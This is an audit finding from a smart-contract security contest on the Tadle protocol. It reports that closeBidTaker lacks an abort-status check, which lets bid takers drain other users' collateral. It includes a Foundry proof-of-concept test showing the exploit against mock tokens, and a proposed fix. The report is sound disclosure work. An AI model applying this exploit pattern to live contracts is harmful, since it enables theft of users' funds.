Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Missing abort status check allows bid taker to steal users funds

robertodf99

Summary

When the ask makers abort offers their status is changed to Settled in function PreMarkets::abortAskOffer:

offerInfo.abortOfferStatus = AbortOfferStatus.Aborted;
offerInfo.offerStatus = OfferStatus.Settled;

Therefore bid takers can close the bid offers by calling DeliveryPlace::closeBidTaker since the only offer status check is the following:

if (offerInfo.offerStatus != OfferStatus.Settled) {
revert InvalidOfferStatus();
}

If the ask maker has not settled the offer, the collateral corresponding to the points purchased by the bid taker will be sent as a penalty. However, since the collateral has already been returned (except for the portion representing the profit from the sale that belongs to the bid taker), the additional amount sent to the bid taker will be taken from another user.

uint256 collateralFee;
if (offerInfo.usedPoints > offerInfo.settledPoints) {
if (offerInfo.offerStatus == OfferStatus.Virgin) {
collateralFee = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
offerInfo.amount,
true,
Math.Rounding.Floor
);
} else {
uint256 usedAmount = offerInfo.amount.mulDiv(
offerInfo.usedPoints,
offerInfo.points,
Math.Rounding.Floor
);
collateralFee = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
usedAmount,
true,
Math.Rounding.Floor
);
}
}
​
uint256 userCollateralFee = collateralFee.mulDiv(
userRemainingPoints,
offerInfo.usedPoints,
Math.Rounding.Floor
);
​
tokenManager.addTokenBalance(
TokenBalanceType.RemainingCash,
_msgSender(),
makerInfo.tokenAddress,
userCollateralFee
);

This collateral fee includes the original amount the bid taker provided, plus an additional fee calculated based on the collateral rate set by the ask maker. This amount would be paid twice but deposited only once.

Vulnerability Details

Bid takers would be stealing the amount above the offer amount corresponding to the points bought, i.e., the additional collateral ratio set by the offer maker, since their oiriginal deposit had a unit collateral rate:

$$

Impact

Refer to PoC for an example:

function test_bid_taker_closes_aborted_offer() public {
vm.startPrank(user);
​
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
vm.stopPrank();
​
vm.startPrank(user1);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
address stockAddr = GenerateAddress.generateStockAddress(0);
address offerAddr = GenerateAddress.generateOfferAddress(0);
​
preMarktes.createTaker(offerAddr, 500);
vm.stopPrank();
​
vm.prank(user);
preMarktes.abortAskOffer(stockAddr, offerAddr);
​
address stock1Addr = GenerateAddress.generateStockAddress(1);
​
vm.prank(user1);
// closes aborted offer before settlement period and gets additional 0.2*0.005*1e18 USDC
deliveryPlace.closeBidTaker(stock1Addr);
assertEq(
tokenManager.userTokenBalanceMap(
user1,
address(mockUSDCToken),
TokenBalanceType.RemainingCash
),
(((0.01 * 1e18) / 2) * 12000) / 10000
);
}

Tools Used

Manual review.

Recommendations

Check the abort status of the offer the taker is trying to close in DeliveryPlace::closeBidTaker:

...
if (makerInfo.offerSettleType == OfferSettleType.Protected) {
offerInfo = preOfferInfo;
userRemainingPoints = stockInfo.points;
} else {
offerInfo = perMarkets.getOfferInfo(makerInfo.originOffer);
if (stockInfo.offer == address(0x0)) {
userRemainingPoints = stockInfo.points;
} else {
OfferInfo memory listOfferInfo = perMarkets.getOfferInfo(
stockInfo.offer
);
userRemainingPoints =
listOfferInfo.points -
listOfferInfo.usedPoints;
}
}
+ if (offerInfo.abortOfferStatus == AbortOfferStatus.Aborted) {
+ revert("Pre offer aborted");
+ }
...
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-closeBidTaker-lack-check-abort-status-drain

Valid high, for unsettled ask offers by the original maker, the initial remaining maker collateral is already refunded as seen [here](https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L624-L629)

Appeal created

0xbrivan2 Auditor
about 1 year ago
robertodf99 Submitter
about 1 year ago
0xnevi Lead Judge
12 months ago
0xnevi Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-closeBidTaker-lack-check-abort-status-drain

Valid high, for unsettled ask offers by the original maker, the initial remaining maker collateral is already refunded as seen [here](https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L624-L629)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.